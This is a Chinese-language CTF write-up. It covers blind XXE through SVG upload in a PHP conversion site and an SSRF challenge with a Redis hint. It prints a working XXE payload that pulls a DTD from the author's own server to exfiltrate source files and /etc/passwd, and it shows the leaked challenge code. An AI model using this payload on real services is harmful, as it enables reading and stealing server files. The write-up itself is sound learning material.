记一次爆0的CTF

前言

打小型CTF比赛的时候遇到的CTF题目,解析SVG图像触发XXE,比较新颖,第一次见,于是记录下

XXE

进入题目发现就是一个文件上传功能,并且题意是将SVG图像转化为PNG图像的测试站点

然后查看源代码发现了有php代码的注释

看到过滤了php://,并且有个$this->svg_contents猜测是XXE,网上能找到的比较少,大多是水文,很难受,翻了好久终于翻到类似的CTF题目

于是参考文章链接来个Blind XXE,因为页面时没有回显的,因此用Blind XXE,虽然过滤了php://,但是如果写在服务器上的xml或者dtd一样可以绕过去

payload:

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://vsp_ip:port/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

 服务器上的xxe.xml是这样的

BP跑一下,获得了upload_svg.php的base64编码后的源代码

解密为

<?php
error_reporting(0);
session_start();
require_once("config/svg_config.php");
date_default_timezone_set('PRC'); 

if(isset($_POST['id']) and isset($_FILES['svg']) and isset($_POST['timestamp'])){
    try{

        $svg_load = new svg_load($_FILES['svg']['tmp_name'],$_FILES['svg']['name'],$_POST['timestamp'],$_POST['id']);
        
        $svg_load->filter = new filter(file_get_contents($_FILES['svg']['tmp_name']));
        $svg_load->action();
        header("Content-Type: text/json");
        echo json_encode(
            array(
                'status' => 'success',
                'contents' => "{$svg_load}"
            )
        );

    } catch(Exception $e){

        die($e->getMessage());
    }
}

?>

修改xxe.xml读取config/svg_config.php,重新监听,BP发包

解密得到

<?php
require_once('SVG.php');
require_once('filter.php');

$_SESSION['key'] = !isset($_SESSION['key']) ? md5(session_id()) : $_SESSION['key'] ;

class svg_load{

    private $tmp_file; 
    private $svg_file;
    private $svg_image;

    private function save(){
        
        return $this->filter->check($this->tmp_file) and move_uploaded_file($this->tmp_file,$this->svg_file);
    }


    private function load()
    {
        if($this->filter->check($this->svg_file) === true){

            $this->svg = new svg_(file_get_contents($this->svg_file));
            $this->svg_image = (string)$this->svg;

        }else{

            $this->svg_image='null';

            throw new Exception("哦,你瞧这个糟糕的内容,你在想什么呢!");
        }

        return $this->svg_image;
    }
    
    public function action(){
        
        try{
            
            $this->save();
            $this->load();

        }catch(Exception $e){

            $this->error = $e->getMessage();
        }
    }

    public function __construct($tmp_file,$name,$timestamp,$id)
    {        
            $info = pathinfo($name);
            if($info['extension'] === 'svg')
            {

                $this->svg_file = __DIR__."/images/svg/".base64_encode($id).'.'.$info['filename'].'.'.base64_encode($timestamp.hash('sha256',$timestamp.$_SESSION['key'])).'.svg';
                $this->tmp_file = $tmp_file;
                
            }else{
            
                $this->error = "不要总是传奇奇怪怪的文件啊";
            }
    }

    public function __toString()
    {
        return !isset($this->error) ? base64_encode(!$this->svg_image ? $this->load() : $this->svg_image ) : $this->error;
    }

    public function __destruct()
    {    
        unlink($this->svg_file);
    }

}

把包含的文件都读一下

SVG.php

<?php
class svg_{
    
    private $svg_contents;
    private $svg_image;

    private function load(){
    
        $XML = new DOMDocument();
        $XML->loadXML($this->svg_contents,0x06);
        

        if($img = simplexml_import_dom($XML))
        {

                $attr = $img->svg->attributes();

                $height = (int)$attr['height'] > 850 ? 850 : (int)$attr['height'];
                $width = (int)$attr['width'] > 1000 ? 1000 : (int)$attr['width'];
            

                $tmp_file = '/tmp/'.sha1(md5(uniqid(microtime(true), true)));

                file_put_contents($tmp_file,$this->svg_contents);
                exec("convert -resize {$width}x{$height}! {$tmp_file} {$tmp_file}.png ");
                $this->svg_image = file_get_contents($tmp_file.'.png');

                unlink($tmp_file.'.png');
                unlink($tmp_file);

        }else{
            $this->svg_image = false;
        }

    }

    public function __construct($svg_contents='')
    {
        $this->svg_contents = $svg_contents;
        $this->load(); 
    }

    public function __toString(){

        return !$this->svg_image ? 'null' : $this->svg_image;
    }

}
?>

filter.php

<?php
class filter{

    public $svg_contents;
    
    public function clean(){
     
     if(preg_match('/php:///im',$this->svg_contents)){
     
            $this->svg_contents='no!';
        }
    
    }
    
    public function check($file){
        
        $this->clean();
        return hash('sha256',md5($this->svg_contents,true),true) === hash('sha256',md5_file($file,true),true);
    }

    public function __construct($contents='')
    {
        $this->svg_contents = is_string($contents) ? $contents : '';
        
        $this->clean();
        
    }

}
?>

 

问题来了,找不到flag了

读了一下/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
Debian-exim:x:102:103::/var/spool/exim4:/usr/sbin/nologin

翻不到./flag,./flag.txt,/flag /flag.txt

最后实在没翻到,心态炸了。

SSRF

源码如下:

<?php 
$url = $_GET['url'];
if(!isset($url)){
    highlight_file(__FILE__);
}
if(stripos($url,'file')!==False)
{
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
?>

过滤了file协议,读不了东西,没有flag.php,gopher构造http协议也打不到,一头雾水,upload目录里没有东西

然后公告上给了个hint,可以打redis,redis是弱密码。emmmm,时间到了,我也没去搞,一直在搞XXE的。掏出来之前虽然看了但是没有实践的文章

=>

浅析SSRF认证攻击Redis

原文地址:https://www.cnblogs.com/BOHB-yunying/p/13679232.html